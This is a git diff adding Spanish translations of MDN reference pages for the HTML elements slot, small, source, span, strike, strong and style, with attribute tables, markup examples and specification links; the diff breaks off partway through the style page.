diff --git a/files/es/web/html/elemento/slot/index.html b/files/es/web/html/elemento/slot/index.html
new file mode 100644
index 0000000000..b7a7407d83
--- /dev/null
+++ b/files/es/web/html/elemento/slot/index.html
@@ -0,0 +1,126 @@
+---
+title: <slot>
+slug: Web/HTML/Elemento/slot
+tags:
+  - Componentes Web
+  - Componentes Web HTML
+  - Elemento
+  - HTML
+  - Referencia
+  - slot
+  - sombra dom
+translation_of: Web/HTML/Element/slot
+---
+<p>{{HTMLRef}}</p>
+
+<p><span class="seoSummary"><strong>El elemento HTML <code>&lt;slot&gt;</code> </strong>—parte de la suite tecnologica <a href="/en-US/docs/Web/Web_Components">Web Components</a> — es un placeholder en un componente que tu puedes llenar con tu propio marcado, que te permite crear árboles DOM por separado y presentarlos juntos. </span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Categorias de contenido</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Contenido de flujo</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">contenido de fraseo</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Transparent_content_model">Transparente</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Eventos</th>
+   <td>{{event("slotchange")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parentes permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">contenido de fraseo</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Rol ARIA implícito</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">No corresponding role</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA Permitidos</th>
+   <td>No se permite <code>role</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLSlotElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/en-US/docs/Web/HTML/Global_attributes">atributos globales</a>.</p>
+
+<dl>
+ <dt>   {{htmlattrdef("name")}}</dt>
+ <dd>El nombre del slot.</dd>
+ <dd><dfn>Un<strong> </strong></dfn><strong><dfn>slot nombrado</dfn></strong> es un elemento <code>&lt;slot&gt;</code>  con el atributo  <code>name</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;template id="element-details-template"&gt;
+  &lt;style&gt;
+    details {font-family: "Open Sans Light",Helvetica,Arial}
+    .name {font-weight: bold; color: #217ac0; font-size: 120%}
+    h4 { margin: 10px 0 -8px 0; }
+    h4 span { background: #217ac0; padding: 2px 6px 2px 6px }
+    h4 span { border: 1px solid #cee9f9; border-radius: 4px }
+    h4 span { color: white }
+    .attributes { margin-left: 22px; font-size: 90% }
+    .attributes p { margin-left: 16px; font-style: italic }
+  &lt;/style&gt;
+  &lt;details&gt;
+    &lt;summary&gt;
+      &lt;span&gt;
+        &lt;code class="name"&gt;&amp;lt;&lt;slot name="element-name"&gt;NEED NAME&lt;/slot&gt;&amp;gt;&lt;/code&gt;
+        &lt;i class="desc"&gt;&lt;slot name="description"&gt;NEED DESCRIPTION&lt;/slot&gt;&lt;/i&gt;
+      &lt;/span&gt;
+    &lt;/summary&gt;
+    &lt;div class="attributes"&gt;
+      &lt;h4&gt;&lt;span&gt;Attributes&lt;/span&gt;&lt;/h4&gt;
+      &lt;slot name="attributes"&gt;&lt;p&gt;None&lt;/p&gt;&lt;/slot&gt;
+    &lt;/div&gt;
+  &lt;/details&gt;
+  &lt;hr&gt;
+&lt;/template&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes ver este ejemplo en accion en  <a class="external external-icon" href="https://github.com/mdn/web-components-examples/tree/master/element-details" rel="noopener">element-details</a> (velo <a class="external external-icon" href="https://mdn.github.io/web-components-examples/element-details/" rel="noopener">running live</a>). Además, puedes encontrar una explicación en <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a>.</p>
+</div>
+
+<ul>
+</ul>
+
+<h2 id="Especificaciónes">Especificaciónes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','scripting.html#the-slot-element','&lt;slot&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#shadow-tree-slots','Slots')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<p>{{Compat("html.elements.slot")}}</p>
diff --git a/files/es/web/html/elemento/small/index.html b/files/es/web/html/elemento/small/index.html
new file mode 100644
index 0000000000..21f0cb4331
--- /dev/null
+++ b/files/es/web/html/elemento/small/index.html
@@ -0,0 +1,20 @@
+---
+title: small
+slug: Web/HTML/Elemento/small
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/small
+---
+<p>El <strong>elemento HTML &lt;small&gt;</strong> hace el tamaño del texto una talla más pequeña (por ejemplo, de largo a mediano, o de pequeño a extra pequeño) que el tamaño mínimo de fuente del navegador. En HTML5, este elemento es reutilizado para representar comentarios laterales y letra pequeña, incluyendo derechos de autor y texto legal, independientemente de su estilo de presentación.</p>
+
+<p>{{EmbedInteractiveExample("pages/tabbed/small.html", "tabbed-shorter")}}</p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/es/web/html/elemento/source/index.html b/files/es/web/html/elemento/source/index.html
new file mode 100644
index 0000000000..c116ef3464
--- /dev/null
+++ b/files/es/web/html/elemento/source/index.html
@@ -0,0 +1,129 @@
+---
+title: <source>
+slug: Web/HTML/Elemento/source
+tags:
+  - Elemento
+  - HTML
+  - Media
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/source
+---
+<p>El <strong>elemento HTML <code>&lt;source&gt;</code> </strong> especifica recursos de medios múltiples para los elementos {{HTMLElement("picture")}}, {{HTMLElement("audio")}}, o {{HTMLElement("video")}}. Es un elemento vacío. Normalmente se utiliza para servir el mismo contenido multimedia en <a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">varios formatos soportados por diferentes navegadores</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/source.html", "tabbed-standard")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si desea contribuir al proyecto de ejemplos interactivos, por favor clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> y envíenos una solicitud de pull.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Categorías de contenido</a></th>
+   <td>Ninguna.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Ninguno, esto es un {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de Etiqueta</th>
+   <td>Debe tener una etiqueta inicial, pero no debe tener una etiqueta final.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Padres permitidos</dfn></th>
+   <td>
+    <div>Un elemento multimedia—{{HTMLElement("audio")}} o {{HTMLelement("video")}}—y se debe colocar antes que cualquier <a href="/en-US/docs/HTML/Content_categories#Flow_content">contenido de flujo</a> o elemento {{HTMLElement("track")}}.</div>
+
+    <div>Un elemento {{HTMLElement("picture")}}, y se debe colocar antes del elemento {{HTMLElement("img")}}.</div>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>Ninguno</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <th> </th>
+   <td>{{domxref("HTMLSourceElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/en-US/docs/HTML/Global_attributes">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("sizes")}} {{experimental_inline}}</dt>
+ <dd>Es una lista de tamaños del origen que describe el ancho renderizado final de la imagen representada por el origen. Cada tamaño de origen consiste de una lista separada por comas de pares de longitud de condición de medios. Esta información es utilizada por el navegador para determinar, antes de distribuir la página, qué imagen definida en {{htmlattrxref("srcset", "source")}} se utilizará.<br>
+ El atributo <code>sizes</code> tiene un efecto solo cuando el elemento {{HTMLElement("source")}} es hijo directo de un elemento {{HTMLElement("picture")}}.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Es la ubicación del recurso multimedia, requerido por los elementos {{HTMLElement("audio")}} y {{HTMLElement("video")}}. El valor de este atributo es ignorado cuando el elemento <code>&lt;source&gt;</code> se coloca dentro de un elemento {{HTMLElement("picture")}}.</dd>
+ <dt>{{htmlattrdef("srcset")}} {{experimental_inline}}</dt>
+ <dd>Una lista de una o más cadenas separadas por comas que indican un conjunto de posibles imágenes representadas por la fuente para que las utilice el navegador. Cada cadena se compone de:
+ <ol>
+  <li>una URL a una imagen,</li>
+  <li>un descriptor de ancho, que es un entero positivo seguido directamente por <code>'w'</code>. El valor predeterminado, si falta, es el infinito.</li>
+  <li>un descriptor de densidad de píxeles, que es un número flotante positivo seguido directamente por <code>'x'</code>. El valor predeterminado, si falta, es <code>1x</code>.</li>
+ </ol>
+
+ <p>Cada cadena en la lista debe tener al menos un descriptor de ancho o un descriptor de densidad de píxeles para que sea válido. Entre los elementos de la lista, solo debe haber una cadena que contenga la misma tupla de descriptor de ancho y descriptor de densidad de píxeles.<br>
+  El navegador elige la imagen más adecuada para mostrar en un momento determinado.<br>
+  El atributo <code>srcset</code> solo tiene efecto cuando el elemento {{HTMLElement("source")}} es hijo directo de un elemento {{HTMLElement("picture")}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>El tipo MIME del recurso, opcionalmente con un parámetro <code>codecs</code>. Consultar <a class="external" href="https://tools.ietf.org/html/rfc4281"> RFC 4281 </a> para obtener información sobre cómo especificar los códecs.</dd>
+ <dt>{{htmlattrdef("media")}} {{experimental_inline}}</dt>
+ <dd><a class="internal" href="/en-US/docs/CSS/Media_queries">Consulta multimedia</a> de los medios destinados al recurso; esto solo debe usarse en un elemento {{HTMLElement("picture")}}.</dd>
+</dl>
+
+<p>Si el atributo <code>type</code> no se especifica, el tipo de medio se recupera del servidor y se verifica para ver si el agente de usuario puede manejarlo; si no se puede procesar, se comprueba el siguiente <code>&lt;source&gt;</code>. Si se especifica el atributo <code>type</code>, se compara con los tipos que puede presentar el agente de usuario y, si no se reconoce, el servidor ni siquiera recibe consultas; en su lugar, el siguiente elemento <code>&lt;source&gt;</code> se comprueba a la vez.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Este ejemplo muestra cómo ofrecer un video en formato Ogg para usuarios cuyos navegadores admiten el formato Ogg, y un video en formato QuickTime para usuarios cuyos navegadores lo admiten. Si el navegador no admite los elementos <code>audio</code> o <code>video</code>, se muestra un aviso. Si el navegador admite los elementos pero no admite ninguno de los formatos especificados, se genera un evento <code>error</code> y los controles de medios predeterminados (si están habilitados) indicarán un error. Consulte también la lista de <a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">formatos de medios compatibles con los elementos de audio y video</a> en varios navegadores.</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="foo.webm" type="video/webm"&gt;
+  &lt;source src="foo.ogg" type="video/ogg"&gt;
+  &lt;source src="foo.mov" type="video/quicktime"&gt;
+  Lo lamento; su navegador no soporta video HTML5.
+&lt;/video&gt;
+</pre>
+
+<p>Para obtener más ejemplos, consulte <a class="internal" href="/en-US/docs/Using_HTML5_audio_and_video">Uso de audio y video en Firefox</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-source-element', '&lt;source&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compaibilidad_entre_navegadores">Compaibilidad entre navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de pull.</div>
+
+<p>{{Compat("html.elements.source")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Elemento {{HTMLElement("picture")}}</li>
+ <li>Elemento {{HTMLElement("audio")}}</li>
+ <li>Elemento {{HTMLElement("video")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/es/web/html/elemento/span/index.html b/files/es/web/html/elemento/span/index.html
new file mode 100644
index 0000000000..38a79bda5c
--- /dev/null
+++ b/files/es/web/html/elemento/span/index.html
@@ -0,0 +1,166 @@
+---
+title: span
+slug: Web/HTML/Elemento/span
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/span
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>span</strong> - <em>abarcar</em>. Es un contenedor en línea. Sirve para aplicar estilo al texto o agrupar elementos en línea.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;span&gt;</code> y <code>&lt;/span&gt;</code> (ambas obligatorias).</dd>
+ <dd><strong>Está definido como</strong>: Elemento <a href="/es/HTML/Elemento/Tipos_de_elementos#especial" title="es/HTML/Elemento/Tipos_de_elementos#especial">especial</a>, y por lo tanto <a href="/es/HTML/Elemento/Tipos_de_elementos#enlinea" title="es/HTML/Elemento/Tipos_de_elementos#enlinea">en línea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: En línea.</dd>
+ <dd><strong>Puede contener</strong>: Texto, y/o Elementos <a href="/es/HTML/Elemento/Tipos_de_elementos#enlinea" title="es/HTML/Elemento/Tipos_de_elementos#enlinea">en línea</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="3"><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/scripts.html#events"><span style="color: green;">Eventos:</span></a> <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">datasrc </code></td>
+   <td>Enlaza a una fuente de datos externa (individual o tabular). Reservado para posibles usos futuros.</td>
+   <td>Una dirección URI. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">datafld </code></td>
+   <td>El nombre de una propiedad o columna de <code style="color: green;">datasrc</code>. Reservado para posibles usos futuros.</td>
+   <td>Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dataformatas </code></td>
+   <td>Indica como deben ser tratados los datos obtenidos de <code style="color: green;">datasrc</code>. Reservado para posibles usos futuros.</td>
+   <td>Uno de los siguientes: <code>'paintext'</code> o <code>'html</code>'. Por defecto: <code>'plaintext'</code></td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="div_y_span" name="div_y_span">div y span</h4>
+
+<p>código:</p>
+
+<pre class="eval">&lt;div style="border: 1px dotted blue;"&gt;
+  &lt;h4&gt;Ejemplo de div y span &lt;/h4&gt;
+   &lt;p&gt;
+    Esto es un párrafo dentro de un div,
+     &lt;span style="color: red;"&gt; y esto un span dentro de un párrafo. &lt;/span&gt;
+   &lt;/p&gt;
+ &lt;/div&gt;
+</pre>
+
+<p>Resultado:</p>
+
+<div style="border: solid silver 1px;">
+<div style="border: 1px dotted blue;">
+<h5 id="Ejemplo_de_div_y_span" name="Ejemplo_de_div_y_span">Ejemplo de div y span</h5>
+
+<p>Esto es un párrafo dentro de un div, <span style="color: red;"> y esto un span dentro de un párrafo.</span></p>
+</div>
+</div>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<p>Por definición span no debe tener ningún estilo predefinido. Estos dos párrafos deben verse igual:</p>
+
+<pre class="eval">&lt;p&gt; Esto es un párrafo, bla, bla, bla. &lt;/p&gt;
+&lt;p&gt; Esto es un párrafo, &lt;span&gt;bla, bla, bla.&lt;/span&gt; &lt;/p&gt;
+</pre>
+
+<p> </p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#edef-SPAN"><strong>span</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-span">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/strike/index.html b/files/es/web/html/elemento/strike/index.html
new file mode 100644
index 0000000000..cb33cc0fe7
--- /dev/null
+++ b/files/es/web/html/elemento/strike/index.html
@@ -0,0 +1,60 @@
+---
+title: strike
+slug: Web/HTML/Elemento/strike
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/strike
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Muestra el texto tachado con una linea horizontal.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;strike&gt; y &lt;/strike&gt; (Ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>:<a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>:<a href="es/HTML/Elemento/Tipos_de_elementos#de_estilo_de_fuente">Elemento de estilo de fuente</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h5 id="Atributos_Gen.C3.A9ricos" name="Atributos_Gen.C3.A9ricos">Atributos Genéricos</h5>
+
+<ul>
+ <li>title (título del elemento)</li>
+ <li>style (información de estilo en línea)</li>
+</ul>
+
+<dl>
+ <dd><strong>Identificadores</strong>: id, class (identificadores a nivel de documento)</dd>
+ <dd><strong>Idioma</strong>: lang (información sobre el idioma), dir (dirección del texto)</dd>
+ <dd><strong>Eventos</strong>: onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</dd>
+</dl>
+
+<h5 id="Atributos_Espec.C3.ADficos_-_No_tiene" name="Atributos_Espec.C3.ADficos_-_No_tiene">Atributos Específicos - No tiene</h5>
+
+<h5 id="Atributos_Transicionales_-_No_tiene" name="Atributos_Transicionales_-_No_tiene">Atributos Transicionales - No tiene</h5>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">  &lt;p&gt;
+       Texto normal y... &lt;strike&gt;Texto tachado&lt;/strike&gt;
+  &lt;/p&gt;
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<div class="warning">DESAPROBADO</div>
+
+<p><span class="comment">de momento no funciona </span></p>
diff --git a/files/es/web/html/elemento/strong/index.html b/files/es/web/html/elemento/strong/index.html
new file mode 100644
index 0000000000..e04ea0a0e7
--- /dev/null
+++ b/files/es/web/html/elemento/strong/index.html
@@ -0,0 +1,58 @@
+---
+title: strong
+slug: Web/HTML/Elemento/strong
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/strong
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>El elemento <strong>strong</strong> es el apropiado para marcar con especial énfasis las partes más importantes de un texto.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;strong&gt; y &lt;/strong&gt; (ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_frase">Elemento de frase</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h5 id="Atributos_Gen.C3.A9ricos" name="Atributos_Gen.C3.A9ricos">Atributos Genéricos</h5>
+
+<ul>
+ <li>title (título del elemento)</li>
+ <li>style (información de estilo en línea)</li>
+</ul>
+
+<dl>
+ <dd><strong>Identificadores</strong>: id, class (identificadores a nivel de documento)</dd>
+ <dd><strong>Idioma</strong>: lang (información sobre el idioma), dir (dirección del texto)</dd>
+ <dd><strong>Eventos</strong>: onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</dd>
+</dl>
+
+<h5 id="Atributos_Espec.C3.ADficos_-_No_tiene" name="Atributos_Espec.C3.ADficos_-_No_tiene">Atributos Específicos - No tiene</h5>
+
+<h5 id="Atributos_Transicionales_-_No_tiene" name="Atributos_Transicionales_-_No_tiene">Atributos Transicionales - No tiene</h5>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval"> &lt;p&gt;
+     &lt;em&gt;El dinero&lt;/em&gt; es importante pero &lt;strong&gt;la salud&lt;/strong&gt; lo es más.
+ &lt;/p&gt;
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<p><strong>strong</strong> tiene un hermano menor: <strong>em</strong>. <strong>em</strong> sirve para dar énfasis y <strong>strong</strong> para dar mucho énfasis</p>
diff --git a/files/es/web/html/elemento/style/index.html b/files/es/web/html/elemento/style/index.html
new file mode 100644
index 0000000000..c298d810ad
--- /dev/null
+++ b/files/es/web/html/elemento/style/index.html
@@ -0,0 +1,122 @@
+---
+title: style
+slug: Web/HTML/Elemento/style
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/style
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>style</strong> - estilo. Es el elemento encargado de indicar la información de estilo.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;style&gt;</code> y <code>&lt;/style&gt;</code> (ambas obligatorias).</dd>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#decabecera">de cabecera</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: No.</dd>
+ <dd><strong>Puede contener</strong>: Declaraciones de estilo.</dd>
+ <dd><strong>Debe ser contenido por</strong>: Elementos <a href="es/HTML/Elemento/Tipos_de_elementos#head">head</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<p><del>Por defecto:</del> Debe indicarlo el autor.</p>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-type-STYLE"><code style="color: green;">type </code></a></td>
+   <td>Indica el lenguaje de hojas de estilo usado.</td>
+   <td>Un tipo <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-content-type">MIME</a>. Para CSS es: "text/css".</td>
+  </tr>
+  <tr>
